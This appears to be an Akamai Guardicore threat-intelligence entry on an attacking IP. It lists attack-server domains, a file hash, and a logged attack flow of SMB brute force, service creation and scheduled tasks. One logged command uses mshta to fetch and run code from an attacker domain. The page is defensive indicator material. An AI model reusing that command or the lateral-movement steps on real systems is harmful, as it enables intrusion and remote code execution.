Akamai Guardicore Segmentation CTI

Threat Information

Role	Attacker, Scanner
Services Targeted	MSSQL SMB
Tags	Service Deletion SMB Access Share File Operation By CMD SMB Brute Force Scheduled Task Creation Access Suspicious Domain Execute from Share Service Start Service Stop Download and Execute MSSQL Service Creation Successful SMB Login CMD SMB Share Connect DNS Query Download File
Associated Attack Servers	t.amynx.com w.zz3r0.com 117.2.148.211 211.181.237.46

Basic Information

IP Address	184.82.104.85
Domain	-
ISP	-
Country	Thailand
WHOIS	Created Date	-
	Updated Date	-
	Organization	-

First seen in Akamai Guardicore Segmentation	2023-10-25
Last seen in Akamai Guardicore Segmentation	2023-10-25

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: hp - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)	Successful SMB Login SMB Brute Force
A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)	Successful SMB Login SMB Brute Force
A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 4 times	Successful SMB Login SMB Brute Force
C:\XUMQjmVk.exe was downloaded	Download File
The file C:\WINDOWS\RCSjESrt.exe was downloaded and executed	Download and Execute
c:\windows\system32\services.exe installed and started %systemroot%\rcsjesrt.exe as a service named kfsS under service group None	Service Creation Service Start
C:\WINDOWS\temp\svchost.exe was downloaded	Download File
c:\windows\system32\services.exe installed and started \\server-backup\c$\bmfkuudm.exe as a service named dgwh under service group None	Service Creation Service Start
bmfkuudm.exe was executed from the remote share \\server-backup\c$	Execute from Share
A user logged in using SMB with the following username: hp - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times	Successful SMB Login SMB Brute Force
Service dgwh was stopped	Service Stop
The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job
C:\EBrKoQNV.exe was downloaded	Download File
The command line c:\windows\yODhpEEu.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job
Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com	DNS Query Access Suspicious Domain
The command line c:\windows\hiQKRMYl.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job
C:\mlDWjoGJ.exe was downloaded	Download File
c:\windows\system32\services.exe installed and started \\server-backup\c$\ebrkoqnv.exe as a service named UBLe under service group None	Service Creation Service Start
ebrkoqnv.exe was executed from the remote share \\server-backup\c$	Execute from Share
c:\windows\system32\services.exe installed and started \\server-backup\c\dqqaohxd.exe as a service named CCUB under service group None	Service Creation Service Start
dqqaohxd.exe was executed from the remote share \\server-backup\c	Execute from Share
C:\WINDOWS\Temp\tmp.vbs was downloaded	Download File
Service CCUB was stopped	Service Stop
Connection was closed due to timeout

Associated Files

C:\sGATbgoo.exe

SHA256: 02462c051aa4e27cf6359173c040a6e51f20172d4fcdfa2c11b6fb6a50107ab0

56320 bytes

Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

Threat Information

Basic Information

Attack Flow

Associated Files